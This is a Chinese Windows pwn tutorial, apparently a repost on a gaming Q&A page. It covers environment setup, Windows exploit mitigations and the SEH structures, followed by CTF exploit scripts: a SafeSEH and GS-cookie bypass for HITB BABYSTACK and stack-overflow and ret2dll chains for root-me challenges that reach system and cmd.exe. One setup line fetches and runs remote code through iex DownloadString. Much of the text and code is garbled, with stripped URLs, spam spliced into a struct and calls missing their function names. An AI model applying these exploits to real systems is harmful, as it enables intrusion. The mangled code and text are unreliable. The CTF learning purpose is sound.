首页   <首页 > 资讯攻略 > 游戏问答

dbghelp|dll看这里!Windows|Pwn|学习之路

网友投稿

2023-10-27 06:56:05

游戏问答

dbghelp dll相关介绍,0x01 前言最近的比赛中已经出现了很多与Windowspwn相关的主题,所以我将以学习的态度总结一下在WindowsPwn中的学习过程。本文主要介绍了Windows Pwn中环境的搭建以及一

0x01 前言

最近的比赛中已经出现了很多与Windows pwn相关的主题,所以我将以学习的态度总结一下在Windows Pwn中的学习过程。

本文主要介绍了Windows Pwn中环境的搭建以及一些新的机制,辅以部分例题帮助理解。

0x02 环境搭建

优化Powershell显示

优化步骤使用@Lulus的知乎专栏

如果你不喜欢原有的powershell显示风格,你可以运行下列命令来更换其显示风格:

iex ((New-Object Sy).DownloadString(';))choco feature enable -n allowGlobalConfirmationchoco install gitInstall-Module posh-gitInstall-Module oh-my-poshInstall-Module -Name PSReadLine -Force -SkipPublisherCheckInstall-Module Get-ChildItemColor -AllowClobberInstall-Module WindowsConsoleFontsif (!(Test-Path -Path $PROFILE )) { New-Item -Type File -Path $PROFILE -Force }@"#requires -Version 2 -Modules posh-gitfunction Write-Theme { param( [bool] `$lastCommandFailed, [string] `$with ) `$lastColor = `$ `$prompt = Write-Prompt -Object `$ -ForegroundColor `$ -BackgroundColor `$ #check the last command state and indicate if failed If (`$lastCommandFailed) { `$prompt += Write-Prompt -Object "`$(`$) " -ForegroundColor `$ -BackgroundColor `$ } #check for elevated prompt If (Test-Administrator) { `$prompt += Write-Prompt -Object "`$(`$) " -ForegroundColor `$ -BackgroundColor `$ } `$user = [Sy]::UserName `$computer = [Sy]::MachineName `$path = Get-FullPath -dir `$pwd if (Test-NotDefaultUser(`$user)) { `$prompt += Write-Prompt -Object "`$user@`$computer " -ForegroundColor `$ -BackgroundColor `$ } if (Test-VirtualEnv) { `$prompt += Write-Prompt -Object "`$(`$) " -ForegroundColor `$ -BackgroundColor `$ `$prompt += Write-Prompt -Object "`$(`$) `$(Get-VirtualEnvName) " -ForegroundColor `$ -BackgroundColor `$ `$prompt += Write-Prompt -Object "`$(`$) " -ForegroundColor `$ -BackgroundColor `$ } else { `$prompt += Write-Prompt -Object "`$(`$) " -ForegroundColor `$ -BackgroundColor `$ } # Writes the drive portion `$prompt += Write-Prompt -Object "`$path " -ForegroundColor `$ -BackgroundColor `$ `$status = Get-VCSStatus if (`$status) { `$themeInfo = Get-VcsInfo -status (`$status) `$lastColor = `$ `$prompt += Write-Prompt -Object `$(`$) -ForegroundColor `$ -BackgroundColor `$lastColor `$prompt += Write-Prompt -Object " `$(`$) " -BackgroundColor `$lastColor -ForegroundColor `$ } # Writes the postfix to the prompt `$prompt += Write-Prompt -Object `$ -ForegroundColor `$lastColor `$timeStamp = Get-Date -UFormat %r `$timestamp = "[`$timeStamp]" `$prompt += Set-CursorForRightBlockWrite -textLength (`$ + 1) `$prompt += Write-Prompt `$timeStamp -ForegroundColor `$ `$prompt += Set-Newline if (`$with) { `$prompt += Write-Prompt -Object "`$(`$wi()) " -BackgroundColor `$ -ForegroundColor `$ } `$prompt += Write-Prompt -Object (`$) -ForegroundColor `$ `$prompt += ' ' `$prompt}`$sl = `$global:ThemeSettings #local settings`$ = ''`$ = [char]::ConvertFromUtf32(0x276F)`$ = [char]::ConvertFromUtf32(0xE0B0)`$ = [ConsoleColor]::White`$ = [ConsoleColor]::White`$ = [ConsoleColor]::DarkBlue`$ = [ConsoleColor]::Black`$ = [ConsoleColor]::DarkRed`$ = [ConsoleColor]::Magenta`$ = [Sy]::Red`$ = [Sy]::White"@>"C:Program File;@"chcp 65001Set-PSReadlineOption -EditMode Emacsfunction which(`$name) { Get-Command `$name | Select-Object Definition }function rmrf(`$item) { Remove-Item `$item -Recurse -Force }function mkfile(`$file) { "" | Out-File `$file -Encoding ASCII }Import-Module posh-gitImport-Module oh-my-poshImport-Module Get-ChildItemColorImport-Module WindowsConsoleFontsSet-Alias l Get-ChildItemColor -option AllScopeSet-Alias ls Get-ChildItemColorFormatWide -option AllScopeSet-Theme Paradox"@ > $PROFILEchcp 65001Set-PSReadlineOption -EditMode EmacsImport-Module posh-gitImport-Module oh-my-poshImport-Module Get-ChildItemColorImport-Module WindowsConsoleFontsSet-Alias l Get-ChildItemColor -option AllScopeSet-Alias ls Get-ChildItemColorFormatWide -option AllScopeSet-Theme Paradoxgit clone cd .fonts.incd ..del .fonts -Recurse -Force

⚠️:Line 92需要修改为你的本地正确地址!

在那之后,修改Powershell -> 首选项 -> 字体

在那之后,修改Powershell -> 首选项 -> 颜色 -> 屏幕背景

配置Python2以及Python3环境

配置方法及过程此处不再赘述,但是注意,若因为优化了PowerShell而导致了LookupError: unknown encoding: cp65001,则需要添加一个环境变量:

安装winpwn

winpwn更类似于pwntools,用于本地的程序调试以及连接远程。

使用以下命令安装winpwn这个包,并且安装相关依赖:

pip install winpwnpip install pefilepip install keystone-enginepip install capstone

安装winchecksec

winchecksec更类似于checksec,用于Windows程序的保护检查。

使用以下命令安装winchecksec,并且安装相关依赖:

vcpkg install pe-parse:x86-windowsvcpkg install pe-parse:x64-windowsvcpkg install uthenticode:x86-windowsvcpkg install uthenticode:x64-windowsgit clone cd winchecksecmkdir buildcd buildcmake ..cmake --build . --config Release

⚠️注意:这里首先需要安装vcpkg作为核心依赖项,可以使用如下方法安装:

git clone cd vcpkg.vc integrate install

这里需要特别注意,如果在执行.boo时发生error MSB8040: 此项目需要缓解了 Spectre 漏洞的库。从 Visual Studio 安装程序(单个组件选项卡)为正在使用的任何工具集合 体系结构安装它们。了解详细信息: 则需要打开VisualStudio 2022 -> 修改 -> 单个组件找到编译器、生成工具和运行时选项组,勾选安装最新版本的带Spectre 漏洞缓解的相关运行库。

⚠️注意:使用vcpkg安装结束后需要进行环境变量的配置:

配置调试器

在Windows下,我们常用的调试器有:x64dbg、Windbg(Windows 10)、gdb、WindbgX(Windbg Preview)。

    对于x64dbg,直接从 下载即可。对于Windbg(Windows 10),需要先安装Windows SDK(可通过Visual Studio来进行安装),然后在应用和功能处修改添加。对于GDB,需要通过MinGW-w64来进行安装。对于WindbgX(Windbg Preview)需要通过微软应用商店下载。对于以上所有的工具,为了能用winpwntools直接唤起,需要进行额外配置,首先下载Pykd-Ext,需要注意的是,Pykd-Ext和Pykd是不同的两个插件。将下载下来的两个dll分别放置在正确的位置。在$HOME文件夹下建立文件.winpwn,内容如下:{ "debugger":{ "i386": { "x64dbg": "C:\Program Files (x86)\x64debug\release\x32\x32dbg.exe", "gdb": "", "windbg": "C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\windbg.exe", "windbgx": "C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Micro\WinDbgX.exe" }, "amd64": { "x64dbg": "C:\Program Files (x86)\x64debug\release\x64\x64dbg.exe", "gdb": "", "windbg": "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe", "windbgx": "C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Micro\WinDbgX.exe" } }, "debugger_init": { "i386": { "x64dbg": "", "gdb": "", "windbg": ".load C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\ext\;!py -g C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\ext\byinit.py;", "windbgx": ".load C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Micro\ext32\;!py -g C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Micro\ext32\byinit.py;" }, "amd64": { "x64dbg": "", "gdb": "", "windbg": ".load C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\ext\;!py -g C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\ext\byinit.py;", "windbgx": ".load C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Micro\ext64\;!py -g C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Micro\ext64\byinit.py;" } } } ⚠️:路径请自行调整。

0x03 Windows Pwn 基本知识

函数调用约定

    由于函数调用约定大多只和架构相关,因此和Linux相比没有太大的变化。

Windows程序保护

Windows下有部分程序保护更换了名字或者有一些细节发生了改变,我们来详细列举。

    ASLR:与Linux相同,ASLR保护指的是地址随机化技术(Address Space Layout Randomization),这项技术将在程序启动时将DLL随机的加载到内存中的位置,这将缓解恶意程序的加载。ASLR技术自Windows 10开始已经在系统中被配置为默认启用。High Entropy VA:这个保护被称为高熵64位地址空间布局随机化,一旦开启,表示此程序的地址随机化的取值空间为64 bit,这会导致攻击者更难去推测随机化后的地址。Force Integrity:这个保护被称为强制签名保护,一旦开启,表示此程序加载时需要验证其中的签名,如果签名不正确,程序将会被阻止运行。Isolation:这个保护被称为隔离保护,一旦开启,表示此程序加载时将会在一个相对独立的隔离环境中被加载,从而阻止攻击者过度提升权限。NX/DEP/PAE:与Linux相同,NX保护指的是内存页不可运行(No-eXecute),这项技术是一项系统级的内存保护功能,使操作系统能够将一页或多页内存标记为不可执行,从而防止从该内存区域运行代码,以帮助防止利用缓冲区溢出。它帮助防止代码在数据页面(例如堆,栈和内存池)中运行,在Windows中常称为DEP(数据执行保护,即Data Execution Prevention),同时引入了一个新的机制被称为PAE(物理地址扩展,即Physical Address Extension),PAE是一项处理器功能,使x86处理器可以在部分Windows版本上访问4 GB以上的物理内存。在基于x86的系统上运行的某些32位版本的Windows Server可以使用PAE访问最多64 GB或128 GB的物理内存,具体取决于处理器的物理地址大小。使用PAE,操作系统将从两级线性地址转换转换为三级地址转换。两级线性地址转换将线性地址拆分为三个独立的字段索引到内存表中,三级地址转换将其拆分为四个独立的字段:一个2位的字段,两个9位的字段和一个12位的字段。PAE模式下的页表条目(PTE)和页目录条目(PDE)的大小从32位增加到64位。附加位允许操作系统PTE或PDE引用4 GB以上的物理内存。同时,PAE将允许在基于x64的系统上运行的32位Windows中启用DEP等功能。SEHOP:即结构化异常处理保护(Structured Exception Handling Overwrite Protection),这个保护能够防止攻击者利用结构化异常处理来进行进一步的利用。CFG:即控制流防护(Control Flow Guard),这项技术通过在间接跳转前插入校验代码,检查目标地址的有效性,进而可以阻止执行流跳转到预期之外的地点, 最终及时并有效的进行异常处理,避免引发相关的安全问题。简单的说,就是在程序间接跳转之前,会判断这个将要跳转的地址是否是合法的。RFG:即返回地址防护(Return Flow Guard),这项技术会在每个函数头部将返回地址保存到fs:[rsp](Thread Control Stack),并在函数返回前将其与栈上返回地址进行比较,从而有效阻止了这些攻击方式。SafeSEH:即安全结构化异常处理(Safe Structured Exception Handlers),这项技术可以理解为一个白名单版的安全沙箱,它会事先为你定义一些异常处理程序,并基于此构造安全结构化异常处理表,程序正式运行后,安全结构化异常处理表之外的异常处理程序将会被阻止运行。GS:这个保护类似于Linux中的Canary保护,一旦开启,会在返回地址和BP之前压入一个额外的Security Cookie。系统会比较栈中的这个值和原先存放在.data中的值做一个比较。如果两者不吻合,说法栈中发生了溢出。Authenticode:签名保护。.NET:DLL混淆级保护。

新机制——结构化异常处理(SEH机制)

结构化异常处理是Windows操作系统上Microsoft对C/C++程序语言做的语法扩展,用于处理异常事件的程序控制结构。异常事件是指打断程序正常执行流程的不在期望之中的硬件、软件事件。硬件异常是CPU抛出的如“除0”、数值溢出等;软件异常是操作系统与程序通过RaiseException语句抛出的异常。Microsoft扩展了C语言的语法,用try-except与try-finally语句来处理异常。异常处理程序可以释放已经获取的资源、显示出错信息与程序内部状态供调试、从错误中恢复、尝试重新执行出错的代码或者关闭程序等等。一个__try语句不能既有__except,又有__finally。但try-except与try-finally语句可以嵌套使用。

SEH相关的重要结构体

TIB结构体

TIB(Thread Information Block,线程信息块)是保存线程基本信息的数据结构,它存在于x86的机器上,它也被称为是Win32的TEB(Thread Environment Block,线程环境块)。TIB/TEB是操作系统为了保存每个线程的私有数据创建的,每个线程都有自己的TIB/TEB。

TEB结构位于Windows.h,内容如下:

typedef struct _TEB { PVOID Reserved1[12]; PPEB ProcessEnwwW.MUW&UYa.cOMvironmentBlock; PVOID Reserved2[399]; BYTE Reserved3[1952]; PVOID TlsSlots[64]; BYTE Reserved4[8]; PVOID Reserved5[26]; PVOID ReservedForOle; PVOID Reserved6[4]; PVOID TlsExpansionSlots;} TEB, *PTEB;

TIB没有在Windows文档中说明,这里从Wine中可以看到结构如下:

// Code in typedef struct _NT_TIB{ struct _EXCEPTION_REGISTRATION_RECORD *Exceptionlist; // 指向当前线程的 SEH PVOID StackBase; // 当前线程所使用的栈的栈底 PVOID StackLimit; // 当前线程所使用的栈的栈顶 PVOID SubSystemTib; // 子系统 union { PVOID FiberData; ULONG Version; }; PVOID ArbitraryUserPointer; struct _NT_TIB *Self; //指向TIB结构自身} NT_TIB;

在这个结构中与异常处理有关的成员是指向_EXCEPTION_REGISTRATION_RECORD结构的Exceptionlist指针

_EXCEPTION_REGISTRATION_RECORD结构体

该结构体主要用于描述线程异常处理句柄的地址,多个该结构的链表描述了多个线程异常处理过程的嵌套层次关系。

结构内容为:

// Code in typedef struct _EXCEPTION_REGISTRATION_RECORD{ struct _EXCEPTION_REGISTRATION_RECORD *Next; // 指向下一个结构的指针 PEXCEPTION_ROUTINE Handler; // 当前异常处理回调函数的地址}EXCEPTION_REGISTRATION_RECORD;

新机制——导入表和导出表

Windows程序没有延迟绑定机制自然也就没有PLT/GOT表,但是Windows程序显然也是要调用所谓的库函数的,Windows下的函数库是DLL文件,类似于Unix下的libc文件,程序调用库函数需要借助的就是导入表和导出表了。

导入表是PE数据组织中的一个很重要的组成部分,它是为实现代码重用而设置的。通过分析导入表数据,可以获得诸如PE文件的指令中调用了多少外来函数,以及这些外来函数都存在于哪些动态链接库里等信息。Windows加载器在运行PE时会将导入表中声明的动态链接库一并加载到进程的地址空间,并修正指令代码中调用的函数地址。在数据目录中一共有四种类型的数据与导入表数据有关: 导入表、导入函数地址表、绑定导入表、延迟加载导入表。

程序中,导入表的地址通常位于.idata段

0x04 以[HITB GSEC]BABYSTACK为例

程序保护检查

程序漏洞分析

程序漏洞还是较为明显的:

在Line 34中,我们向choice这个局部变量写入了0x100个字节,这会造成栈溢出漏洞.

同时我们事实上可以发现程序中预留了后门语句

那么我们接下来只要能劫持EIP就能成功完成漏洞利用,程序开启了GS保护,因此我们无法直接劫持返回地址。

进一步分析main函数发现,程序在main中注册了一个异常处理函数,如果一个程序中注册了一个异常处理函数,那么当该函数运行发生异常时将会由该异常处理函数进行异常的捕获及处理。

我们尝试使用WinDbg附加到此程序,然后尝试读0地址处的值。

发现程序确实转而去调用注册了的SEH了,又发现,程序在压入EBP后,压入栈的第三个数即为SEH地址,恰好在我们的可控范围,于是我们可以依据此来控制执行流。

程序漏洞利用

控制执行流

首先我们来写一个不触发漏洞利用的交互EXP

Stack_address = get_address(sh=sh,info="[+] STACK ADDRESS IS ",start_string="stack address = 0x",end_string="x0A",int_mode=True)PIE_address = get_address(sh=sh,info="[+] PIE ADDRESS IS ",start_string="main address = 0x",end_string="x0A",offset=-0x10B0,int_mode=True)('Do you want to know more?')('noo')payload = 'A' * 0x10get_gdb(sh)(payload)('Do you want to know more?')('yes')('Where do you want to know')('0')()

可以发现,异常正常被捕获,接下来,我们来写一个触发漏洞利用的交互EXP

Stack_address = get_address(sh=sh,info="[+] STACK ADDRESS IS ",start_string="stack address = 0x",end_string="x0A",int_mode=True)PIE_address = get_address(sh=sh,info="[+] PIE ADDRESS IS ",start_string="main address = 0x",end_string="x0A",offset=-0x10B0,int_mode=True)('Do you want to know more?')('noo')payload = 'A' * 0x90 + p32(0xDEADBEEF)get_gdb(sh)(payload)('Do you want to know more?')('yes')('Where do you want to know')('0')()

可以发现,原有的异常捕获函数将不再被运行。

Safe-SEH绕过

但我们注意到,尽管我们已经屏蔽了原有的SEH,但是,我们没有将流程劫持到0xDEADBEEF!

这是因为Safe-SEH的开启,导致不在__safe_se_handler_table中的SEH均不会被运行,那么就不限于0xDEADBEEF了,程序预留的后门必然也不是不合条件的SEH,那么我们接下来就要绕过Safe-SEH了。

那么,我们来分析程序中注册的__except_handler4异常,由于Windows是不开源的系统,因此我们只能通过逆向的手段来去查看相关伪代码,相关代码存在于MSVCRT.dll。

将代码进行简单的优化以及重命名可以得到以下伪代码:

int __cdecl _except_handler4_common(unsigned int *CookiePointer, void (__fastcall *CookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *ExceptionRecord, _EXCEPTION_REGISTRATION_RECORD *EstablisherFrame, _CONTEXT *ContextRecord){ ScopeTable = (_EH4_SCOPETABLE *)(*CookiePointer ^ EstablisherFrame + 8); ValidateLocalCookies(CookieCheckFunction, ScopeTable, &EstablisherFrame + 16); __except_validate_context_record(ContextRecord); if ( ExceptionRecord->Exceptionflags & 0x66 ) { ...... } else { exce = ExceptionRecord; exce = ContextRecord; tryLevel = *(_DWORD *)(EstablisherFrame + 12); *(_DWORD *)(EstablisherFrame - 4) = &ExceptionPointers; if ( tryLevel != -2 ) { do { v8 = tryLevel + 2 * (tryLevel + 2); filterFunc = *(&ScopeTable->GSCookieOffset + v8); scopeTableRecord = &ScopeTable->GSCookieOffset + v8; encloseingLevel = scopeTableRecord->EnclosingLevel; if ( filterFunc ) { // 调用 FilterFunc filterFuncRet = _EH4_CallFilterFunc(filterFunc, EstablisherFrame + 2); ...... if ( filterFuncRet > 0 ) { // 调用 HandlerFunc _EH4_TransferToHandler(scopeTableRecord->HandlerFunc, v5); ...... } } else { ...... } tryLevel = encloseingLevel; }while ( encloseingLevel != -2 ); ...... } }......}

分析可以发现,在Line 32处,程序实际执行了filterFunc(EstablisherFrame + 2),那么,我们只需要控制filterFunc和EstablisherFrame这两个值事实上就可以控制执行流程了。

那么我们来看SEH的栈结构:

Scope Table +-------------------+ | GSCookieOffset | +-------------------+ | GSCookieXorOffset | +-------------------+ EH4 Stack | EHCookieOffset | +-------------------+ +-------------------+High | ...... | | EHCookieXorOffset | +-------------------+ +-------------------+ebp | ebp | +-----------> EncloseingLevel <--+-> 0xFFFFFFFE +-------------------+ | Level 0 +-------------------+ |ebp - 04h | TryLevel +---+ | FilterFunc | | +-------------------+ | +-------------------+ |ebp - 08h | Scope Table | | | HandlerFunc | | +-------------------+ | +-------------------+ |ebp - 0Ch | ExceptionHandler | +-----------> EncloseingLevel +--+-> 0x00000000 +-------------------+ Level 1 +-------------------+ebp - 10h | Next | | FilterFunc | +-------------------+ +-------------------+ebp - 14h | ExceptionPointers +----+ | HandlerFunc | +-------------------+ | +-------------------+ebp - 18h | esp | | +-------------------+ | ExceptionPointersLow | ...... | | +-------------------+ +-------------------+ +----------> ExceptionRecord | +-------------------+ | ContextRecord | +-------------------+

在处理程序的一开始我们可以看到,为了要伪造FilterFunc,我们需要知道CookiePointer的值,这个值储存在__security_cookie的内存处,且与程序加载位置偏移固定,于是可以直接通过main函数地址的位置进行计算获得!

事实上,接下来其实还有个问题,在异常处理中可以看到有ValidateLocalCookies(CookieCheckFunction, ScopeTable, &EstablisherFrame + 16);我们来看看此处的实现:

void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer){ unsigned int v3; // esi@2 unsigned int v4; // esi@3 if ( scopeTable->GSCookieOffset != -2 ) { v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset]; __guard_check_icall_fptr(cookieCheckFunction); ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3); } v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset]; __guard_check_icall_fptr(cookieCheckFunction); ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);}

这里事实上就是检查要求*(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset]的值必须为__security_cookie,以及*(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset]的值必须为__security_cookie。

从上图的结构图可以看出我们事实上可以劫持scopeTable的地址!那么我们可以让scopeTable->GSCookieOffset的值为-2,这样程序将不会继续检查*(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];。

那么我们可以构造Payload:

payload = 'a' * 0x10payload += p32(0x0FFFFFFFE) # scopeTable -> GSCookieOffsetpayload += p32(0)payload += p32(0x0FFFFFFCC) # scopeTable -> EHCookieOffsetpayload += p32(0)payload = (0x70, 'b')payload += p32(GS_Cookie) # framePointer[scopeTable->EHCookieOffset]payload += 'c' * 0x20payload += p32(stack_address + 0xD4)payload += p32(PIE_address + 0x1460)payload += p32((stack_address + 0x10) ^ security_cookie) # scopeTablepayload += p32(0)payload += 'd' * 0x10 # framePointer

可以发现,该检查已经通过!

最终劫持控制流到Shell

接下来我们只需要伪造FilterFunc到程序后门即可完成利用。

Final Exploit

from winpwn import *import osimport tracebackimport syscon;debug'# con;amd64'con;i386'# file_name=ELF('./file_name', checksec = False)def get_sh(): if len) > 1 and [1] == 'REMOTE' : return remote[2],[3]) else: return process(".;)def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False): if start_string != None: (start_string) if int_mode : return_address = int((end_string).strip(end_string),16) elif address_len != None: return_address = u64()[:address_len].strip(end_string).ljust(8,'x00')) elif con == 'amd64': return_address=u64((end_string).strip(end_string).ljust(8,'x00')) else: return_address=u32((end_string).strip(end_string).ljust(4,'x00')) if offset != None: return_address = return_address + offset if info != None: print(info + str(hex(return_address))) return return_address# def get_flag(sh):# ('cat /flag')# return )def get_gdb(sh,stop=False): windbgx.attach(sh) if stop : raw_input()def Multi_Attack(): # () returndef Attack(sh=None,ip=None,port=None): if ip != None and port !=None: try: sh = remote(ip,port) except: return 'ERROR : Can not connect to target server!' try: # Your Code here stack_address = get_address(sh=sh,info="[+] STACK ADDRESS IS ",start_string="stack address = 0x",end_string="x0A",int_mode=True) PIE_address = get_address(sh=sh,info="[+] PIE ADDRESS IS ",start_string="main address = 0x",end_string="x0A",offset=-0x10B0,int_mode=True) ('Do you want to know more?') ('yes') ('Where do you want to know') (str(PIE_address + 0x4004)) security_cookie = get_address(sh=sh,info="[+] Security Cookie IS ",start_string=" value is 0x",end_string="x0A",int_mode=True) GS_Cookie = (stack_address + 0x9C) ^ security_cookie payload = 'a' * 0x10 payload += p32(0x0FFFFFFFE) payload += p32(0) payload += p32(0x0FFFFFFCC) payload += p32(0) payload += p32(0xFFFFFFFE) payload += p32(PIE_address + 0x138D) payload = (0x78 - 0x10, 'b') payload += p32(GS_Cookie) payload += 'c' * 0x20 payload += p32(stack_address + 0xD4) payload += p32(PIE_address + 0x1460) payload += p32((stack_address + 0x10) ^ security_cookie) payload += p32(0) payload += 'd' * 0x10 ('Do you want to know more?') # get_gdb(sh) ('noo') (payload) ('Do you want to know more?') ('yes') ('Where do you want to know') ('0') () flag=get_flag(sh) () return flag except Exception as e: () () return 'ERROR : Runtime error!'if __name__ == "__main__": os.system("") sh = get_sh() flag = Attack(sh=sh) log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

0x05 以[root-me]PE32 – Stack buffer overflow basic为例

程序保护检查

发现基本是无保护程序

程序漏洞分析

存在一个明显的栈溢出

存在后门函数

程序漏洞利用

直接利用常规的栈溢出思路,覆盖返回地址以及EBP

Final Exploit

from winpwn import *import osimport tracebackimport syscon;debug'# con;amd64'con;i386'# file_name=ELF('./file_name', checksec = False)def get_sh(): if len) > 1 and [1] == 'REMOTE' : return remote[2],[3]) else: return process(".;)def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False): if start_string != None: (start_string) if int_mode : return_address = int((end_string).strip(end_string),16) elif address_len != None: return_address = u64()[:address_len].strip(end_string).ljust(8,'x00')) elif con == 'amd64': return_address=u64((end_string).strip(end_string).ljust(8,'x00')) else: return_address=u32((end_string).strip(end_string).ljust(4,'x00')) if offset != None: return_address = return_address + offset if info != None: print(info + str(hex(return_address))) return return_address# def get_flag(sh):# ('cat /flag')# return )def get_gdb(sh,stop=False): windbgx.attach(sh) if stop : raw_input()def Multi_Attack(): # () returndef Attack(sh=None,ip=None,port=None): if ip != None and port !=None: try: sh = remote(ip,port) except: return 'ERROR : Can not connect to target server!' try: # Your Code here payload = 'a' * 0x14 + p32(0xDEADBEEF) payload += p32(0x401000) # get_gdb(sh) (payload) () flag=get_flag(sh) () return flag except Exception as e: () () return 'ERROR : Runtime error!'if __name__ == "__main__": os.system("") sh = get_sh() flag = Attack(sh=sh) log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

0x06 以[root-me]Advanced stack buffer overflow为例

程序保护检查

程序漏洞分析

这个题需要我们在运行时提交一个文件作为参数,然后会读取其中的内容作为manage_file函数的参数传入

然后程序就会将文件的内容读取到局部变量中

但是显然这里没有做很好的长度过滤,这会导致栈溢出的发生。

这一次程序中不再有后门函数以供我们利用,于是我们这次使用ret2dll完成利用。

程序漏洞利用

由于程序没有开启PIE保护,系统也没有开启aslr于是可以不用考虑Leak相关地址后程序崩溃的问题,因为相关地址并不会发生任何的改变。

泄露合法文件地址

由于我们触发栈溢出后必然会影响fclose的参数,于是我们先行泄露:

payload = p32(0) * 100open('./payload_0','w').write(payload)

泄露DLL加载地址

我们可以利用printf函数来泄露并计算DLL文件的加载基址。

payload = p32(0x76284660) * (0x2014 / 4) + p32(0xDEADBEEF) payload += p32(0x00402974) # printf@pltpayload += p32(0x004016E3) # _manage_filepayload += p32(0x00406200) # printf@gotopen('./payload_1','w').write(payload)

又可以从IDA中看出DLL文件位于m,文件位于C:WindowsSystemSysWOW64目录下。

于是可以计算出DLL加载地址

最终完成利用

最终我们直接计算构造ROP即可

Final Exploit

from winpwn import *import osimport tracebackimport syscon;debug'# con;amd64'con;i386'# file_name=ELF('./file_name', checksec = False)def get_sh(): if len) > 1 and [1] == 'REMOTE' : return remote[2],[3]) else: return process(".;)def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False): if start_string != None: (start_string) if int_mode : return_address = int((end_string).strip(end_string),16) elif address_len != None: return_address = u64()[:address_len].strip(end_string).ljust(8,'x00')) elif con == 'amd64': return_address=u64((end_string).strip(end_string).ljust(8,'x00')) else: return_address=u32((end_string).strip(end_string).ljust(4,'x00')) if offset != None: return_address = return_address + offset if info != None: print(info + str(hex(return_address))) return return_address# def get_flag(sh):# ('cat /flag')# return )def get_gdb(sh,stop=False): windbgx.attach(sh) if stop : raw_input()def Attack(): try: # Your Code here payload = p32(0) * 100 open('./payload_0','w').write(payload) payload = p32(0x76284660) * (0x2014 / 4) + p32(0xDEADBEEF) payload += p32(0x00402974) # printf@plt payload += p32(0x004016E3) # _manage_file payload += p32(0x00406200) # printf@got open('./payload_1','w').write(payload) payload = p32(0x76284660) * (0x2014 / 4) + p32(0xDEADBEEF) payload += p32(0x76213DC0) # system payload += p32(0x004016E3) # _manage_file payload += p32(0x761D47A4) # cmd.exe open('./payload_2','w').write(payload) except Exception as e: () () return 'ERROR : Runtime error!'if __name__ == "__main__": os.system("") Attack()

0x07 参考链接

【原】超酷的 PowerShell 美化指南 – Lulus

【原】CFG防护机制的简要分析 – f0**

【原】Windows-pwn解题原理&利用手法详解 – 萝卜

【原】HITB GSEC BABYSTACK — win pwn 初探 – Ex

【原】Windows PE 第四章 导入表 – TK13

本文由安全客原创发布转载,请参考转载声明,注明出处:

我是安仔,一名刚入职网络安全圈的网安萌新,欢迎关注我,跟我一起成长; 欢迎大家私信回复【入群】,加入安界网大咖,跟我一起交流讨论。

小白入行网络安全、混迹安全行业找大咖,以及更多成长干货资料,欢迎关注#安界网人才培养计划#、#网络安全在我身边#、@安界人才培养计划。